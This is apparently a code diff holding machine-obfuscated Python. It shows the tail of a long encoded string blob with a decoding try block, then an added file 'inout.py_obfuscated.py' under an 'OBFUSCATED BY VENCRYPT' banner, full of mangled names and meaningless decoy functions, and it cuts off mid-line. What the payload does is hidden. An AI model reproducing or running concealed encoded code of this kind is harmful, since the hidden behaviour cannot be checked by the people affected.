^ivQkgWYiH$+#a92d|;`Fzi$_jEft+3cg5`jDe#XP{Pim-uv*TUp&1-0Ia#}z&RlmzP$@s5S3~a%&%4#-!FH0-C|#e%2fnz%aZkRs-`FGNM^>c@vI8PhUVR`$$xY*RWam%LHA4a!l_QG_Odi&RKd*eXnlpnJZkA4cFK2W=CGqX3Y)|R&qv|)Qv+YCNS9I;CJv$EmGmH+T$&=_4|=+@EAF6!1g%f_kSn$_Uz$iOypa^!z>A2RS2M-;xsLp9Olsv@H4*9)_=7%>!n9E=?}&vid9K+GCL4s6r(w=C8u%xb`=g4{wAOjNV$bxg{8x^Y??#lW3-i{YvVbwRe~=<1}!m!7UJ766_7GjsFzUwTIKgwW5eS)pXZq-Ahp{QW2BxeAKJrhGX5nSdh46*#4l?ST*;ch&m3KIu&H(a*>C1tvG9xnf5VcN@3Pus}!;YaOFj55~sly{kalF(`cx-L)tXfqv9;`!4|1SdTP5wF<&k8DfMO3!5cdY4}9`3<=j76yPCgQL|Ai$N0#Q4>jG&DDZseK53D4@9iPRk#)THR^)McQl9WmtDe1w%*H;!~*kk#h(_Ho2>Lz_jij?hxbG5P+6<;wQvuA+j7R3gZ@{PTwi2DjanmC67R|eA5JAD{}n;79dQQh}oU9RKGS0Zlc*GwR9(WTV(9`kbVv$ocUWEcSKSAwYBO=>_1HOT`fLSjwzo47?3ll=$#@bU!^d3!DWHc6NTd7!zDIfiNgJa^V&&~vRYn(JPMrV`PVH~fO6%k;~^+J2lwlb1vKB))w=JeWSJIVl-As4nB)6@#N(X4F5`3!S+c8@+Ww^vPR#v-|uQqD0;5HgtsMrqZE`%{LI#3Z+DC(leotGe^I#SH)f-N2CazcG$JRU0&Qrv@5U^-SCjNu583}j8uF`3Yep^)F_I0Qzw_?2&~o?u8{x1<0JaLHzD^l~k<87IHm^4*+n$BYeLge|5S60L!zdbYFt5j)7iR?ciB$O7C2++|6**@;+drzXsB8#+D>sh4BG37+);dvsKLZ`tVjTO=yEOvmOsgH(?dPmFglG8kI$UXUH=f_M0%&<=!OFL~e8Fup*5m<85%mVmsH9xfQl#V}+q=N-_SjGyeWjdSI5J-xMC!T5%`PsUOP}~H%%8ruz*;w|J&Q!-J%&IJZ@Hl7{4~AY5W=Qnl1=E@xWGuiHE;0G@{Q7b>+8^F9B;E#DR=t#x^Y&)UMLb!Ghi7zooEs6Bv&!ed{}!LNd}G@2PHFxw==M(5<#$p1{i4_DZBkGl@5|92kIaGXB}y4fMRGwHTc}&KtxOa*RMWGDp!GYGbqe{teu*S09?OO!c5y(loT(R^Qh=!{FreuhP<~_spPPDJiYqsBDM~e`hlxvdCb@U2Bp-7iZ%&Y`Y;NABkw*njZq3yM=-1q(RQIUsNLpaaU*S**3!_-*Iiq3wf&0b8B%9|*Mpjz>i&psHTx%1b2;&epng8`6S)FX(c~5<38?T!G^%WYPm%ut(KkD>9yXa`ggXr0xCa;KyGr9(C94zJ)^p7wzzj@o^7U&oOnxW2%sfu6-owY4x0<_h=*4X~6x$})D*|H~j(Dgj}P8=|xg{OyesYSN{87n}kiNCshT`KLEA&uz)YT}^|Ly%=ou7x--@Wh&CGc%@Cw#%?w@ZD4Evec~BzKn!oS()2Wy17Lpl_u@CjUvHqJ|KVxkR|IWxNNcue2m9I%z+X{dI+iG#x(ehnc6%KA-XJr_n^#$1tV3R*iPAwdYN&pZZg*5=zk2!`s1P{PmLnWBGOVc-i;3s<&_v@?8M`Ifr-1q`!FX!e-7rjtDoo*%dAVukpSEeeoq3XBZ4t*z40&h;G(06mcJI^_tdrX;wD(7U^lk-u1eK3GyAjJkfLUZRJMyZgCL1BPZgS$shoffw_+Muda14OZc9W+pb#yt*h?ma%2+m+@73c%*MHBeu?U5M{1jq4)$Jy38PViyUpUf@j*PYB*-@~D(lH4LqEceXS&!gBuo?@8}VEr^&ho_CpYhoJ@Y`d|Ltmsb|y}y;izkIPhhItaXtdQDLp^-Zyhq5fO+Ne>VF+c%P`u$3;Fd;BesZuY&O8j$wZT^lDTPbf=E!14DAL&vP!iG)q@u*D0+a7C<2%_qVG&)^z{Z5W>i%C?X{xbJ=HdS?0lPg_ry5&Whb}AXvU7!!nEQDTZ?aVS0Z8(b~_vWLhQS|Ecoo+W|Li9uv`{f%3`ypSiv-uF^~%4xkTrq1#kGJNFY_E?JxjgQFXxQ3B&kvJFC-(sG}xmlvnB2DIZ>tYEjHhuNTPOIo#_Sm`06#(ktL^7Dyz7*&EbD@)e{td1!+6gUw;J87ISY$Tln1l|Cx4?YY)|%Ffpi2Gs4jTG_p{0qPP#YX{AKDbGs}hoMyQQ(NtZIdd$#ZJ`cnql?>MZHkHfysbONGqBLM17Q`|*PeIu4ZoRw+^+V9Ws~y!pSHnHa|s62JO2(dU(yXpm8pU+n(d!+tU%+Yo3K`c4urI|=*(s2SHQW~ny9&^3IDJYvGGZsggCXnJpYrS{kQNgHKjo~q33HnXPtcMH#lvyP(Q;uK6`wztIVldevaL2nbjWbJSy7X+*7;9`y>8k9LXmf>7i?_&o2JyqINKUjyx_`7vj`Y&NYlvGFH&e1;+d_^j$RNH;Us|7h7A+_!q}mfEGH}$c_Cr9y9Cx%S_L!c~B2XraWuSb-I5QPIY!GUsHbO@IVYy%fm506see3nD4vnUEfGvG{A|))edlmvVOJ>VpS?3JFLLJ6l7a`eu3Tpy3bxBIYxu|qxrs-jWPKQb?Z3Od+9a%U!J>JvSL}F#0N=b$X)HeWmb6YRlaCxm;$>NgpFIg!S!GoI`%0Q%#{vYD67lNpKkkxV+CaIhWH1qroy$hIGijB&MV%`!h`&Y0u*$I)aEXIFKdIHwH5!L=Szgn#?*mfXtqAU|<&MV>jBao5R;aGK=q@FJgAW_EYMytG}yHN5IfO&VVQB3XS&~wkGL#gR{XJ@_;0=BsgIFVYnr(+CC&1xyqKo^qVaY2`5mv6i$ovEDW=}6!4Vlk!_W;%KAUXLh-|7*;VfZ8n?Or&y9vYBe_Fg6A;0xpigaox4coEtanY=rvSoL(x?5*2g@1K~71LiXJ)-Cu+4B$+MiRXOhkp8a-VhS;~S*l`}X(#C@S<@&kJf!HY)cD0khvf!)a+bZ9Tm~lY}iMU|nW~}}sl_ohu3-e_c6Whm}Li|Wx6uN!LhO@h(nRis?mStjU_)XVU`f8YyhW-?4K-S0Qr9#OHvuT1x`gUzH^f58eb*?uqr=-im_G%)uA9Bi>B7&y(9!-&h{mp2%k$k$AW$Gr~FOku*-hDbpJknr`JpB!_@qNAkt19D<4euu8mfWw;=Fy>o~%V8}l9iHx*pU(}I=^E>DmbNpzAN;;LfYL~9^s-PXeR*95P8}u<2fz#j>^_hW=v1LUZ9;u6R%2`UaOvgfOuKstY5DF3zQEyF?h){a+J$AWJJ_mO@2Zp9`cLFL79o>zmdKO#QYLFJZyNClxh{E6e92P$IO{D~G$~=Ot(S?objB#*WK(s_~x91Zt5S^G*mK8<$n3F4nm*TdztIL78U-Ki+%D|($iiv@TLil=!NndYQk@!M6D&Du?o7d3!a3eT3zx-&TzYVq!sGwSmJ`b06#Ed?tZ%01p5CS$c%wtt9px=mS&<@Vx|WhP?c;^njh;m*fa8f$S`_m`c?mWn6fNJBq6cj1o=P5nsm7oQuk8tp0Try$o|4ybGS7UeMG+RTF}H%TWZE-;sEyji5Pf*cY)XmZ1n13~!AEYhLbN^)($2N7{-{+GJ}oRfVJ(_v&7Fw>QU9qGxy-(DU9^S#vscBn9kd2BY|2dEwqbE?@o{X*1EE4Z&SBZDm${p@6s2QzBC?t>lS#=rl$7QtFlM8rp_>{^c8c*kYE@>0Y-ctCBYozbIv;(Uoh#Gd{fqdiyfCS358$*(f!&E(KC&o+sgY3Wd(`kiM}r@lbg0y|&BsBp06^%_nY~lUt&3M&Q=@?@4+MPT`4E6yjM!yEHBi%1bjGLc)59^JYz&++Fq^Oma2So)=3lA70TPxMGf*_Rd+mQkjjCaFO-(w9EH?BYVjA7buwY@J+9c=VWUJc;-0Vm%@A$Gyq^?Ph0q$*RBL8)of>ep>>NP{$i@Y46jj%G^{QiqjL>x`ODE|=a0&L$-5QNw1E3BrL+p@d`PEX9JXYHnlqT@hn_ktTnpjJp#RiHbtL&cl5TUow5ne%_M0FyA(vOsO23BivJ%&k~f6pnZCMzl44=ieT{L+*5`cFRLS!^|w$(+G>&??s`@VJZ$KDbN(dXq^;(te7JceBN2&IWeF_Gk>aY##=Kn-JCV}xv~3u4pO@XW;q{5iZa0>Vx5DrKR4H9W2biaQ$Dz9yaE^x@hH;AU(tTwt|S{1dV{w9kAE63Ze97k*&3#SXAJwo5g_a4H;M7zY{BXMm86-H&oXsVV8<*#4!^_4t!&+Nw$j*ruH97qhJ>t^3|NLXTRIk+1fo`jvF6_84czIwg2MzTE|>{O1J$r(j;#(KWrPzzhq4%xkapsEIs<+}*Q@+`;6@R0d56Kc!rM_gf4x_HFf2XQDl`@78;ZM=fB5(ONFr&b)>jJR;uH$M%oB7?e1G4%u7;%Rl(!C8r;>3WqV$2>>J){*>5j*8qVd9_zIZ3lRHRPmgnTp@Z?FCsuq@mKdGcw6eL?RbAFzNo=+D^Smz=8ov#f7*i>ysJVg<5`WVbFK;GCtkbG1?pJ|HA7xAs1+L-Lr^MD<%8l`G4(_ruZP)*iPJhUaU#^4|`eO4C<@SYn!gt5J+phd%;nTKqHoJJ1g3V8ZOtl|$1L>{~y|M$8$-WMaY;{u*)4;Xt4Q}sJ@^^IOO^k>u5K#YqY8~BP!xvMc7@UBaM-zCxu!of3=tGdtfo~#q5*xQFri7yl(Xtx2iJ&orwIo45#pQ7Kt`z8ZN$>M;vP-VDD!-}QkRx6j1fo(WD)gOGRmU7B5vyi5K*idBN`qpxh4(BL8dkwia*R5tZZbNzAYmFHG@vEL`c3Iaj1sfV7+L12ly8t?wp0rK|{Ev+JjBro>cEh@oBlKsY+hnj=2%)?o@Z8^w%>F;A2KV8;C;)X~zKvV)apbk|4eavXjBpPwGgi;zX1{%8{~B#NVS}3ypCfBC1j3WInkgoz_Cr(I^Z&28#X_fN&W0)?kZvHtT4VJ*h^^hGPWiQZn4TD^q0jV-#2Ay!keHfbVF5z+M;atszhO&JW}_99xdZE*-!IN%a-wAe_ayy&G(b;*+$aqdM1<4I|yO@^ZnwYWTvd*!Y5R`F#C#e3%#g&hZ)b(b0(lr#1ycPFdmI{6^six)G>OxC!v!7_CKj21`Y=(hb_n*MO<^NjnoP{h@$5bh?HeSun#ft0x3W>cnc7qX`_N-@n&f0>>i|@2Rjp_suj*T@TF+J^~QhXpPX>*#QWq3H~y>q7w=5G8eL^Jjn7PMX0LOB}TBUT*ESNK0nie2+Rd`2;{nm~Px3I|2|6~nRH3WKx|p<)fM+-+l5@dOwfTmoacUu<47a$Tl54vPtqWw0^~wlKP~5PWzZHF52mypUzaksmynxcFv#RpVtK8TGhBhKpFxp#_3`^B`G?UnMR~yQ%8ly#IRZvcQL%5}oPh9r(hg!#}g;H|TE7y0JaO9ftGc=7G5cGt)A|h-HAZ#&nH`4e!ERgmi+dNjeOp8_f6Ypo|AFmnof|2u#9maV}O{4)+Fb$`0DRu=XOV{{RH;)RU5i=)}p_2%~vCR3r)k1jo5RYCzKq^j-Cp$F&=-GFzpgUeeQvyf2uIeonh~_2#kkl18S=|8fdk>Qi7Bq#CmGYEn&Z^@8Acq$6y6LWEX7XyyGatr_AW3quEJn^CoQh^32N*tunp61m9i5XhSdIDVw=?Kjsu+i*#UaF4ARO9n5Hh0jwj;9s91XTcq6Rz%xnvnEqSznBYJ4B?RyjP5pLUbExJ815l#@_gDHg?6L1bX4q$>@;Mu(T+^r&aj)SK)N7qp1u?Cdoq(DSE?WymjXb&uk>+kCJu7BHebS^D>gerb~-5;miogIj$b0bnWJuPTM#oZ-_z{d$e`R0SC`5Z?0sstTid=MM=0+l(yq+srL|ZRGSEn>ok1|_2alx%krXu=&H7GcOn`9mL0FjMxOUp7psW=XdrTZHA_4P5V(7rA1VhDMFp{c-c8|3`}te{2Z7XdmU-ocb`p-aFBs>osJ~&ZfV}zcwa4TTw7L@mq59fs=V+(c17Q>w>r%J2|CaM9g1EuFl}Vm4E6WE?qqUTE!03#_=SNg%uQL%IenmF?)=kYc4Q1OzN(mwrWQLXv*qS#Q+0WNR4J^hmG+&+>9vYgtoiXLQJ3dAhR%!Gg%Q}^VIpv`;=*=1{=-Iue{zsc5YvVA-2{RW8<19nxYuASjny$4A^-|W8g2H@q3&9@K5)p!TRczDK_qYS|z0W<3*@F2S&z}5#AmN!(*w~CzNS5aQ^2TdB0})Gg1z;gvb!MlkAETx?hXskOIin|CXx$n~}PpvXGbb5{Ol6;E1#F$S8&)6U<9Z!aXuYd;_Hbn-d$lt2?8O*YrNrU4vxw(}7}Wrzj!8P4F%=+(+&b0qeg=e2uAYy$XcQt+hUrd5TGTUJzHBWc$RvVKzHUh{Po;^V8UHWpQ0vR?LB~!$i@)wXgd-nC?*t$2?KuCm#u~(ka+(Ml{I4xgbtY0oX*M4y}3vPdciVtv^1c?uYVw#so30s%%p8<_hg@)>0LLs&3`A(x#H?JM#=ON3yr@wg3G{7r$I5Tl_)px6CCug9`O)hCkbDJB*d^r+7kqqW?K%a*k|Rrj4n9nbEd{neW-mdYkkrzQ#ou;H)T!lhCop}C7=C;8i7GF)iZ&^{u3sn0PQ-N?>8%Uj6~E8?^7N*{o4qxjq*6u|q93IB!(Yx4wOwR=PRr;|E$@56hVW`93?(W;0!r&|nOH)H#PX{kGQ%fo7mTi?hG$SyR8!34)XZ2*Jl}PJTYz~^re?~m|W;{vd{7bc!Td{gp?ok&Fm#5_m`oIBnPjQg+3`L7ae#V-nhvA>&iJ`u1i6y(7&{KWk1RqURpqk{Ab3#aE5dj)AtDcnqMcX8*vWV0`dJwa>oDTaU`#Bo?XuhF7XL9emcDsD`n^)#iTivY@05enXUm-!1d3riW78VNJWZ-u>^P^{bmFX;$v|EckBB3p#vzixRBW~4bM#G^);WrIoU)*W)Pj4ZtCs5FyxMWdns7*psj27V2)^Fq0vJT6YBR?s>}7nyO@j^56_vq1{-0i(AZGjR5+`Bua1|pEY{MxWAv%E4*Lvx8Rc58zFTACIQ5@wi}E*@CtPNw>-N+d@Xr)%Iudie&rwSjFRPe90Oq8PE*E|~jKGm96dI%$NJydtv5{q`5<%2F7~(Zp$`vN_#k-`6S7N{+#apFEnE#oidAmOGQrv7!|DzT4#Sm=ekl|B+06p(CDDAJ!iX)1SQM#_A~Rxtt$RD;gH?xl0%}xwxbLD2bpFR+2Im2_<;#j(eOc2qICB=;9x31VNmv?;-Z)4iX)APNygr?`kKXg!htilm8+tu)gyxps5maQ3w*hVddVK)sT@b=5Dv(IA7ET6gG|_|VO;PkHI&!tZbp57EoX-Z5ryl5-w32^k;-^zPCaNbSM)(w2@b?ZKn8etA!?dlT5pdMmlk0*YH@i1v-ywk8#dBy%d6pnUQ4nr2z`rswX7PRqAGYsYL;lyj&k4AZS?17MAyd2dYx~9g&MyJLO5?%qYkeCbdfAez_1rlOS(Wo8_;MiA4DyjU6HG@h1v2+Q;BJx%gG8-X@>&Th3a-APrl=^X7O%49vM^$cw;um8|^#5Yw-4?!qSHYOTaC^fRHpDU{4XC%*lADcl#U2d72&OY2tbgK<`y)h`yg~LxOc!x^5bc2gTIz(fd(k6p3QQ1$M2%y~%y|68@Rwfy1C4BbjS$GVp=V<<>z>ACm0$0J|QCIFd?Hg4zl)>lSfmq{h#O{l76%XPA?w_^4`|Ju=c->!XWPRF1W{bxvJq240NqM9}dG4o*lcq&=S_S)youoxQY{!waEX|Jy_o3)v&KpJ@}+PeUt>T$k;Co*OwoqTWi+?@+z+v5%C_y`C+C741uu3O-vti*25*^Q*>w_6G9GU|D4=^B&rFX3jl6BPk>(gjtsDh-nU7S@x|=p8NVxRe18s<0s4=`U+$UVs)68FTp|B6*AiO(n99pjA?lWIxhD*FAg2~X;a;FW!(Wk3`SCz91EDkE11jRZc%y=?!UvaIA-vOLmQlsc=?GQnK^ff0WGiO-kC~WYV@C4FJPSIC>-15iv%#K70$*!jTgKj@SGp6xL-uK&EFAx~LXkm~l-K7F29Lgxsr2lL;$Aub_j)NxPeUGhd*tvXV`vSCvcY&&6Ko3^OFq#(Q&@7}c#4>ax>nkTfIhRP%pu)=qXFpsrNE!bH2^@t?xl5lt5NPjg$`lb^ka)EId?Ef_CaW?LbL0!f}aI(dX~K`S^bQCm=e4y?T&Z}|43&%1G+;n(YYL@ULi}MI#`}czo)AWybop83HQY9)%s1xGbr6q>FZ{@d`Qv?2^C-@twHwfNzc`HncWzZSSxIW5E1386>q9u)mgYxsaskZnF>fPAY+?o}S=pMFUjAoH~&Bl@FY|l~3K#e4Ep9D7^{#9?kL|5*+p2;Dl71N;xap{@OdpASK*on`M2xh>X%++8V!8fl237^Y@R|aVsp-fa%KBtL`u^Al*s=os-PKWBwb$1;9X$`WkUk{}U;==3+TzDb??1KkX>)L$8?z+yuOLKPfR`lr6&rZ&7h=07Oiu@vV{@`oN}#k6JR*V5pDwW0;Pvib-U<>?K9DFuROi&UiSQ?PTDWV6JNwC(vcRRbkuufgu4T%S$dFef>RM{SB9Xb6HS=gf8H_lkkBu30l%geSsYKh{^D68_$mbJCG8YfyLQ>68pY9k$*OOp0ZVf(=t>E_3RoVGH1J2qBjaf6#*80SW|o!C{N}Q>>W5`dqj&1c&5`dF6lddDTux@B#@h(=VmMj6;@7vz92nnA6cK`R~Nh-g5ay;$%W9L@-8so>nepn%o~cM1IQ~{}9520lC_xc5zYNHHX+qI-FLiSQ}wyJiN|<4?vn3)L2woArbIjF`c7iWQUJ})T=g(>%%3@Lz_H80su)ZNA40)XAvVjuM#??Qf>~v>kuxGZtz^rsfYHiXP4!sTA@`)FeGAEMR_ilNcatHsxFZAt3GuFmiFQ`AgP*U^O_q5_!$^khb$Ge9vkrTxr%bvU(_6txiq1dKVl!x8FHEfxTNm3J8{TFkBf%2=HJ-G6hrr|IAy^Ux^JFo4OGhu9{u$A`{3O>m!G&(qQm@}0{p!d?+}_m~8&tq^2_(4m%PggIkX&`i>{yAAlEoxbXgO6gdgLm|sO>9gImgw8kJYyD%RG1$b~w<9%pGmk5?yfPFCaA;3_Cn<`{)FGQt<>-d3nXj%@i|(|`(v(pPdg25JzLJ@Q_w9rhShpY4`NF{HrHQp`ePcV=cTWptmRa6}?(}pSkR7C9l6-1ewp-EpXz}3i(7b5E9<2BP;ulqyzSQ+dp+wb)$Ds2%zE2;{^6@_hG6UE>UnbA{BCQTVa'; +try: + wV=len(k(b'++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++.+.---.'));V=sum(Q.b85decode(rfT.encode('ascii'))[:257])&255 +except Exception: + X=0 + diff --git a/inout.py_obfuscated.py b/inout.py_obfuscated.py new file mode 100644 index 0000000..d5df475 --- /dev/null +++ b/inout.py_obfuscated.py @@ -0,0 +1,164 @@ +""" + ██████╗ ██████╗ ███████╗██╗ ██╗███████╗ ██████╗ █████╗ ████████╗███████╗██████╗ ██████╗ ██╗ ██╗ ██╗ ██╗███████╗███╗ ██╗ ██████╗██████╗ ██╗ ██╗██████╗ ████████╗ +██╔═══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔════╝██╔══██╗╚══██╔══╝██╔════╝██╔══██╗ ██╔══██╗╚██╗ ██╔╝ ██║ ██║██╔════╝████╗ ██║██╔════╝██╔══██╗╚██╗ ██╔╝██╔══██╗╚══██╔══╝ +██║ ██║██████╔╝█████╗ ██║ ██║███████╗██║ ███████║ ██║ █████╗ ██║ ██║ ██████╔╝ ╚████╔╝ ██║ ██║█████╗ ██╔██╗ ██║██║ ██████╔╝ ╚████╔╝ ██████╔╝ ██║ +██║ ██║██╔══██╗██╔══╝ ██║ ██║╚════██║██║ ██╔══██║ ██║ ██╔══╝ ██║ ██║ ██╔══██╗ ╚██╔╝ ██║ ██║██╔══╝ ██║╚██╗██║██║ ██╔══██╗ ╚██╔╝ ██╔═══╝ ██║ +╚██████╔╝██████╔╝██║ ╚██████╔╝███████║╚██████╗██║ ██║ ██║ ███████╗██████╔╝ ██████╔╝ ██║ ╚██████╔╝███████╗██║ ╚████║╚██████╗██║ ██║ ██║ ██║ ██║ + ╚═════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ + """ +import sys as RwKIl1O0cj4fHAy, os as MLlIcWakeNAzlIH, random as jIlG14SIlIl1lQI +import hashlib as s7YZBm8_, base64 as V0w_ElIK_WW, zlib as iqKl1N9_yG7ekO0 +oVO0qo_pRT = RwKIl1O0cj4fHAy.version_info[0] * RwKIl1O0cj4fHAy.version_info[1] +ReUP4CL0OUSIll1 = MLlIcWakeNAzlIH.path.exists('.') and MLlIcWakeNAzlIH.path.isfile(__file__) +wkVE7IlvM1l0O = jIlG14SIlIl1lQI.randint(1000, 9999) ^ oVO0qo_pRT +eOl1qnml1GWW = s7YZBm8_.md5(str(wkVE7IlvM1l0O).encode()).hexdigest()[:8] +n2_nl1bmxIl0OQc = (611, 341, 693, 124, 631, 845, 152) +HoKVIlQj0O0OSlI = (lambda E7T5Ednq: E7T5Ednq * 5 + 26)(19) +ql1A2__1lX44s = (92, 756, 737, 425, 431) +Hf1lzl1lIzcfI0O = {43, 60, 19} +BqYguqj_RaX = [[10 for _ in range(3)] for _ in range(2)] +k__L9W_QT = (lambda h6V5ge_C0ol1: h6V5ge_C0ol1 * 7 + 32)(3) +HaqSLA0Oe3T9 = {25, 2, 37} +y5O_Yl131lEG1l0 = [[7 for _ in range(2)] for _ in range(1)] +dsFlIn07aA_PVO0 = (lambda f_XagolIyMbTfP: f_XagolIyMbTfP * 5 + 33)(4) +zel11qfpTl1__ql = [[50 for _ in range(5)] for _ in range(2)] +r8jXl_nK6BPL926 = (lambda FP_pl1CQK: FP_pl1CQK * 9 + 16)(20) +uCO0l1FEA0OpT__ = {51, 23, 68} +Al1Il1lY_l1r = {"wBl15T1l9k_yr": 139, "tVlI_Ol1NClvIlO": 110, "p0OAzlIRRi__l1v": 207} +Hm0O__0On_v__ = {1, 15, 36} +hlIPLo6ku__z81l = [[24 for _ in range(4)] for _ in range(3)] +yIlDem_X2w__bl1 = {"h0OWWIl0V4y__l1": 825, "T0OHl1__usjkRGz": 947, "V4M_q__9ll1r6T": 799} +H0OIllIGjWJl1Il = {"Jk8UZV_s1lcs0O": 72, "VG2UO0mIlfE": 618, "cIlBKkpsR_olIlI": 967} +EIl1lEi0OSdmO0G = [[3 for _ in range(3)] for _ in range(3)] +B76RW95BI = {"s1lIlthlGt1l9kC": 578, "euWh5n__0OeuXjN": 187, "Stl1ok1l_1l0Os": 698} +SbNIl9oHT = {"ptO0l1O0__YJdCn": 862, "OgjUWO0B1": 69, "W96O00Od91_l1Il": 496} +ZO0ToQ7yO0Y = {"E0OktDh1lH9f": 593, "YeITR1lNlIll18q": 508, "VrKIl1lwKD10": 607} +lzVwGIW8mKjDP0O = [[91 for _ in range(2)] for _ in range(3)] +Sh8__Y1lxlko = [[76 for _ in range(5)] for _ in range(3)] +l00OuH9_YRzSTYZ = [[25 for _ in range(4)] for _ in range(1)] +U1llIdQ_AYZzs0O = (lambda fO0l1nkVRIl: fO0l1nkVRIl * 2 + 36)(3) +o0ON_Cdl1dFa5 = [[22 for _ in range(4)] for _ in range(1)] +NLlIllI0O00Oea8 = {"h_dBhi_lIU__": 701, "M95XQlIPWIli": 503, "J_A3t0O0O0a__SO": 770} +prkr9M_O0l1IlnI = (123, 268, 671, 458) +kwO0I__tJ__0OJO = (lambda DO0u17lIIl1l1E_: DO0u17lIIl1l1E_ * 5 + 7)(8) +wK__l17avzd = [[48 for _ in range(3)] for _ in range(3)] +def k8_8AO00OKCSz(towKx65O0HiZ9VA, XOpoLyxS_0O9lI1, pAtIll__7UtZU9S, F_pW___o__lIOh): + V0OY__n5PGR__ = 25 * 6 + 12 + r__sr3O0tH8Iluh = 76 * 2 + 10 + y__KlI0__1d3KtP = 39 * 30 + 20 + LCLPZtYvT = 52 * 12 + 3 + hIl59l19SeO0nIl = [i for i in range(12) if i % 3 == 0] + return sum([V0OY__n5PGR__, r__sr3O0tH8Iluh, y__KlI0__1d3KtP]) if isinstance(V0OY__n5PGR__, int) else len(str(V0OY__n5PGR__)) +def ah__JIuIl5Il(HlIIlyl1k1ly, C1l2lI0OTO0N, Mdf16njeG_l0Oel): + sIlYlIr9VWFHf = 18 * 22 + 21 + tyam1o0OYO04 = "xYR__FMAl1QMO0I" + str(153) + au0ODl1l1_LYZ = 89 * 13 + 21 + eZIlGimPoq_ = 51 * 18 + 9 + return sum([sIlYlIr9VWFHf, tyam1o0OYO04, au0ODl1l1_LYZ]) if isinstance(sIlYlIr9VWFHf, int) else len(str(sIlYlIr9VWFHf)) +def dkpgJfH2x76I(MO0E1lmW1lXO0RI): + iIlrlx__YDQUwlI = [i for i in range(11) if i % 2 == 0] + zl1bshIIl7g0 = "y0OnfJlI8O0Zz" + str(734) + OIlYic____l19dO = [i for i in range(11) if i % 4 == 0] + zM5_Ks__lIC8gO0 = 20 * 15 + 23 + XEeO0WlIIlGn_0O = "G50Oo_oNl1B" + str(202) + return sum([iIlrlx__YDQUwlI, zl1bshIIl7g0, OIlYic____l19dO]) if isinstance(iIlrlx__YDQUwlI, int) else len(str(iIlrlx__YDQUwlI)) +def Sf0OlIIliIlsL1l(v_b_Jf0O_O, QlIzvE1js0w1w4T, Y0pqwGJP1lbKRXa, M2O0D4Sno1ltlII): + h1lPGIll1vIl = 47 * 20 + 11 + B08O0cMIlE = [i for i in range(14) if i % 3 == 0] + cO0L1lzsB_ql1R = [i for i in range(11) if i % 3 == 0] + return sum([h1lPGIll1vIl, B08O0cMIlE, cO0L1lzsB_ql1R]) if isinstance(h1lPGIll1vIl, int) else len(str(h1lPGIll1vIl)) +def VFwAJ1_5LM0OlI_(Tel191lIllILAC8, rlIIlpCvlITA0OU): + G4OlIO2RTYIl = "iSxO05vu4_D" + str(522) + U1l__5_C__Ux__7 = 9 * 6 + 10 + kWuIlO0weOL = "jX__Hl1AO0q7A" + str(32) + QXTRl__1lS8__s4 = 75 * 34 + 21 + Etg5l1NPu1lp = [i for i in range(14) if i % 3 == 0] + return sum([G4OlIO2RTYIl, U1l__5_C__Ux__7, kWuIlO0weOL]) if isinstance(G4OlIO2RTYIl, int) else len(str(G4OlIO2RTYIl)) +def i_BOl____IlVXlI(JO011llI_lIO0WK, r7f__21__lIXal1, mQmfqFlzcN): + ydIlil1O0__0Oym = 9 * 17 + 9 + qQkKm1l_gwScMSN = 1 * 44 + 16 + AVl1XkE__85Uw5 = "RJyO0JO0Uq90Ol1" + str(945) + Y5TrTn_xh0__ = [i for i in range(6) if i % 2 == 0] + return sum([ydIlil1O0__0Oym, qQkKm1l_gwScMSN, AVl1XkE__85Uw5]) if isinstance(ydIlil1O0__0Oym, int) else len(str(ydIlil1O0__0Oym)) +def mZjl1eO0610tIlX(BhPYl1_M1luXnBO, B3F__JllIxmi, QIlO04X__7l1, uAIlS_TY0Ospl): + h2cIl1l__bTG0Oe = 55 * 25 + 3 + yQ1l9d_sFjrl1x1 = "tE3_R1l7ETO0En4" + str(380) + J8iym_1l_6 = 87 * 2 + 11 + kAIldQO8VC1l_ = [i for i in range(14) if i % 2 == 0] + return sum([h2cIl1l__bTG0Oe, yQ1l9d_sFjrl1x1, J8iym_1l_6]) if isinstance(h2cIl1l__bTG0Oe, int) else len(str(h2cIl1l__bTG0Oe)) +def muTZz_W1lRinfoT(Ml1_5_kS1l, G__MUlI799Ilsox, zwuQF1llIB): + gV6U1l7l1f_ = "vOl1N5RtO0k0lI" + str(468) + b_IYO0fvlI1lDw = [i for i in range(12) if i % 3 == 0] + o50nG4ma__1 = [i for i in range(15) if i % 3 == 0] + return sum([gV6U1l7l1f_, b_IYO0fvlI1lDw, o50nG4ma__1]) if isinstance(gV6U1l7l1f_, int) else len(str(gV6U1l7l1f_)) +def w0OlRn4r8ve_5u1(UXVIlAp1l6F_kNC, nf_IlWZwSX0ONO0, Q5z__ylIiK0O0OJ): + aojIlIl1le0OGfM = "N0Ol1celIUDAhm" + str(103) + gopl1__l18C0OpS = 40 * 39 + 12 + bhMCcLV__nZIlO0 = [i for i in range(9) if i % 2 == 0] + K__O0lIUHM7O0f = 14 * 33 + 14 + return sum([aojIlIl1le0OGfM, gopl1__l18C0OpS, bhMCcLV__nZIlO0]) if isinstance(aojIlIl1le0OGfM, int) else len(str(aojIlIl1le0OGfM)) +def B1lRlwIll__6ShI(p0O_q0OLzIvt, B0910lIhIl7IllI, GlIJI1l__ZtwQCi, L_lIJRI5L5ll1d): + i_1Hl14RzlIju = "k1lpv_O0IlofZ3_" + str(145) + BOU4u6kz8pw__ = "Trl1lICGcl1g_" + str(789) + nnujswflIFN3O0D = [i for i in range(9) if i % 2 == 0] + XIbTL2_pulx = [i for i in range(12) if i % 4 == 0] + DoJdh9l1SE0O6pt = [i for i in range(7) if i % 4 == 0] + return sum([i_1Hl14RzlIju, BOU4u6kz8pw__, nnujswflIFN3O0D]) if isinstance(i_1Hl14RzlIju, int) else len(str(i_1Hl14RzlIju)) +def vDBbj_l11l_(dVpbul11O0H, OlIKrw1lwZO01lO): + TpeIlVk5AE2n8 = "RIlm0Dx_0OPl1" + str(833) + iVjIll1S71lC = [i for i in range(13) if i % 2 == 0] + TuO8O0Pl1M8l1 = [i for i in range(14) if i % 2 == 0] + CT__26asI3qBIll = [i for i in range(14) if i % 4 == 0] + return sum([TpeIlVk5AE2n8, iVjIll1S71lC, TuO8O0Pl1M8l1]) if 